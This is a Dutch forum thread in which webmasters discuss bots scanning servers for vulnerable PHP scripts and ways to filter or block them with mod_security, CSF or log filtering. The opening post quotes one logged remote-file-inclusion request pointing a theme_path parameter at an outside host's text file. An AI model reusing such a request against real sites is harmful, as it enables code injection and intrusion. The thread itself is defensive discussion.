Webserver scans

[chielsen]

Ik word een beetje moe van bots die mijn server op corrupte scripts aan het scannen zijn.
Aangezien ik een site in beta heb draaien heb ik mai logging aanstaan als er foute requests binnen komen. Helaas wordt dat dus nu vervuild door bots die bijv op:
"/bad_link.php?theme_path=http://62.141.58.186/google.txttheme_path=http://62.141.58.186/google.txt" zoeken etc.
Ips block ik steeds, maar veranderen vaak.

Is er misschien ook een blacklist van zulke servers? Of een andere oplossing (naast het uitzetten van de mail logging).

[crossplatform]

Quick fix zou in mijn ogen je logging / mail script aanpassen en dit soort logging negeren.
Het blijven blokkeren van de IP adressen heeft geen zin. Deze veranderen continue.

[systemdeveloper]

Dit zijn dingen die niet direct aan 'bad traffic' vereisten voldoen voor een packet firewall. Dus dit moet je blokken met een application firewall of iets zoals snort, nsa2400ips of whatwever. Maar als je zelf toch logt dan is het beter om die zooi zelf te 'leren' herkennen. In productie zul je vast ook wel eens willen loggen en dan zul je namelijk hetzelfde probleem met bots hebben.

[chielsen]

Ja ik ga zelf maar eens aan de slag denk ik dan.

[redbeenl]

Je zou ook naar CSF kunnen kijken. Die heeft de mogelijkheid ook (LF_APACHE_404):
http://forum.configserver.com/viewtopic.php?f=6&t=4964

Hou er wel rekening mee dat de site goed in elkaar moet zitten anders blokkeer je automatisch geldig verkeer.

Een andere optie is gebruik te maken van mod_security, maar het tunen daarvan is vrij veel werk.

[ju5t]

Vanmorgen toevallig hetzelfde op verschillende servers gezien, alles kwam vanaf 202.100.80.21.

[cyrano]

Vanmorgen toevallig hetzelfde op verschillende servers gezien, alles kwam vanaf 202.100.80.21.

+1

Chinees, op zoek naar Joomla en WP. Hebben blijkbaar ook een ploegje die spam berichten plaatst op fora in 't Nederlands.

[CharlieRoot]

Ik haal er een heel groot deel uit met mod_security
http://www.modsecurity.org/documenta.../04-rules.html